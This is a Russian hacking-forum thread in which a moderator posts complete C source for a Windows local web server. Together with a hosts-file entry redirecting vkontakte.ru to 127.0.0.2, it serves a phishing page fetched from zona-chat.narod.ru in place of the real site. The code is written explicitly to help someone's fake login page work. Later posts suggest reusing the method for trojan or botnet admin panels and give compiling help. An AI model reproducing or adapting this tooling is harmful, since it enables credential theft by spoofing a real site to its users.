тупо фейк или недоделаный прокси

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Gar|k, 24 Jun 2009.

  1. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    В общем, сегодня мне в аську постучал один человек и начал расспрашивать, почему у него ничего не получается.
    Он сделал фейк контакта и хотел прописать его в файле hosts, но его сайт хостится на виртуальной площадке (на одном ip закреплены кучи сайтов, а за распределение адресов отвечает веб сервер) в общем, тупая подмена ip ему не светила.

    Немного подумав, я придумал, а что если сделать локальный сервер, который бы при подключении выдавал бы нам нужную страницу?

    Идея заключается в следующем
    в файле хост прописывается IP сервера и подменяемый адрес:

    127.0.0.2 vkontakte.ru

    Запускается сервер, который вешается на 127.0.0.2:80 и оправляет валидный HTTP ответ на GET запрос обозревателя. Сначала я брал HTTP ответ из файлика (в принципе и сейчас так, потому что я не смог решить проблему с динамическим изменением размера выделяемой памяти для всего ответа) потом подумав немного написал автоматический запрос подложного ответа с фейкового сайта.

    Потом я начал мыслить дальше, а что если записывать не в файл, а сделать потоки чтения и отправки (типа прокси-сервера) потом вообще подумал, может написать прокси-сервер который подменял бы на лету HTTP заголовки host и перенаправлял бы нужные на фейковые страницы.... но писать прокси это о-го-го.... да и что заморачиватся.

    Code:
    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>
    
    #define GS_PORT 80 //порт сервера
    #define GS_IP "127.0.0.2" //IP сервера
    
    //фейковые данные
    #define GS_FAKE_HOST "zona-chat.narod.ru"
    #define GS_FAKE_PATH "\/"
    #define GS_FAKE_PORT 80
    #define GS_FAKE_FILE "~http"
    
    #define GET "GET %s HTTP/1.0\n\
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\n\
    Host: %s\n\
    Accept: text\/\*;q=0,9\n\
    Connection: close\n\n"
    
    unsigned char * fake;
    size_t file_size;
    
    int GetFakeContent(); //функция запроса фейкового ответа
    int SexToClient(void * client_socket); // :)
    
    // отправить ВСЕ - правильная функция
    int sendall(SOCKET s, char * buf, int len, int flags) {
        int total = 0;
        int n;
    
        while (total < len) {
            n = send(s, buf + total, len - total, flags);
            if (n == -1) {
                break;
            }
            total += n;
        }
        return (n == -1 ? -1 : total);
    }
    
    int main(int argc, char * argv[]) {
        char buff[1024];
    
        SOCKET mysocket;
        struct sockaddr_in local_addr;
    
        SOCKET client_socket; 
        struct sockaddr_in client_addr; 
        int client_addr_size = sizeof(client_addr);
    
        if (WSAStartup(0x0202, (WSADATA * ) & buff[0])) {
            
            printf("Error WSAStartup %d\n", WSAGetLastError());
            return - 1;
        }
    
        printf("Get fake data http:\/\/%s%s:%d...\n", GS_FAKE_HOST, GS_FAKE_PATH, GS_FAKE_PORT);
        if (GetFakeContent() == -1) {
            WSACleanup();
            return - 1;
        }
    
        if ((mysocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
           
            printf("Error socket %d\n", WSAGetLastError());
            WSACleanup();
            return - 1;
        }
    
        local_addr.sin_family = AF_INET;
        local_addr.sin_port = htons(GS_PORT);
        local_addr.sin_addr.s_addr = inet_addr(GS_IP);
    
        if (bind(mysocket, (struct sockaddr * ) & local_addr, sizeof(local_addr))) {
           
            printf("Error bind %d\n", WSAGetLastError());
            closesocket(mysocket);
            WSACleanup();
            return - 1;
        }
    
        
        if (listen(mysocket, 0x100)) {
            // Ioeaea !
            printf("Error listen %d\n", WSAGetLastError());
            closesocket(mysocket);
            WSACleanup();
            return - 1;
        }
    
        printf("Waiting for connections %s:%d...\n", GS_IP, GS_PORT);
    
        while ((client_socket = accept(mysocket, (struct sockaddr * ) & client_addr, & client_addr_size))) {
    
            SexToClient( & client_socket);
    
        }
    
        free(fake);
        WSACleanup();
        return 0;
    }
    
    int GetFakeContent() {
        SOCKET sock;
        HOSTENT * hst;
        FILE * f;
        struct sockaddr_in sin;
        int bytes_recv;
        char buff[20 * 1024];
    
        sin.sin_family = AF_INET;
        sin.sin_port = htons(GS_FAKE_PORT);
        if (hst = gethostbyname(GS_FAKE_HOST)) { ((unsigned long * ) & sin.sin_addr)[0] = ((unsigned long * *) hst ->h_addr_list)[0][0];
        }
    
        if (! (sock = socket(AF_INET, SOCK_STREAM, 0))) {
            printf("Error socket %d\n", WSAGetLastError());
            return - 1;
        }
    
        if (connect(sock, (struct sockaddr * ) & sin, sizeof(sin)) == -1) {
            printf("Error connect %d\n", WSAGetLastError());
            closesocket(sock);
            return - 1;
        }
    
        sprintf( & buff[0], GET, GS_FAKE_PATH, GS_FAKE_HOST);
        sendall(sock, buff, strlen(buff), 0);
    
        f = fopen(GS_FAKE_FILE, "wb");
    
        while ((bytes_recv = recv(sock, &buff[0], sizeof(buff), 0)) && bytes_recv != SOCKET_ERROR) {
            fwrite( & buff[0], bytes_recv, 1, f);
    
        }
        fclose(f);
    
        f = fopen(GS_FAKE_FILE, "rb");
        fseek(f, 0, SEEK_END);
        file_size = ftell(f);
        rewind(f);
    
        fake = (char * ) malloc(file_size);
        fread(fake, 1, file_size, f);
        fclose(f);
    
        closesocket(sock);
    
        return 0;
    }
    
    int SexToClient(void * client_socket) {
        SOCKET my_sock;
        int bytes_recv;
        char buff[20 * 1024];
    
        my_sock = ((SOCKET * ) client_socket)[0];
    
        while ((bytes_recv = recv(my_sock, &buff[0], sizeof(buff), 0)) && bytes_recv != SOCKET_ERROR) {
    
            if (buff[0] == 'G' && buff[1] == 'E' && buff[2] == 'T') {
                sendall(my_sock, fake, file_size, 0);
                break;
            }
    
        }
    
        closesocket(my_sock);
        return 0;
    }
     
    _________________________
    1 person likes this.
  2. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    тупа и прикольно вышло ) щас у меня вместо www.microsoft.com upyachka.ru :)
    вот принципе таким макаром можно делать и веб админки для своих троев ботов...

    код естественно не совершенен можно было понатыкать еще проверок переменных
    избавится от этого куска
    Code:
    fseek(f, 0, SEEK_END);
        file_size = ftell(f);
        rewind(f);
    т.к в цикле можно было бы щитать file_size+=bytes_recv; но зато узнали как получить размер файла )

    непродуманный цикл ожидания соединений... хотя работает )
    для конкретной задачи, конечно можно многое урезать и изменить, но как пример думаю очень даже сгодится.
     
    _________________________
    1 person likes this.
  3. draliokero

    draliokero Member

    Joined:
    14 Mar 2009
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    Не компилится, что исправить/подключить?
     
  4. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    это программа на Си а не на Си++ => в бораде си++ делай проект консольный Си
    а в VS там выстови компилировать как Си /Tc флаг фроде
     
    _________________________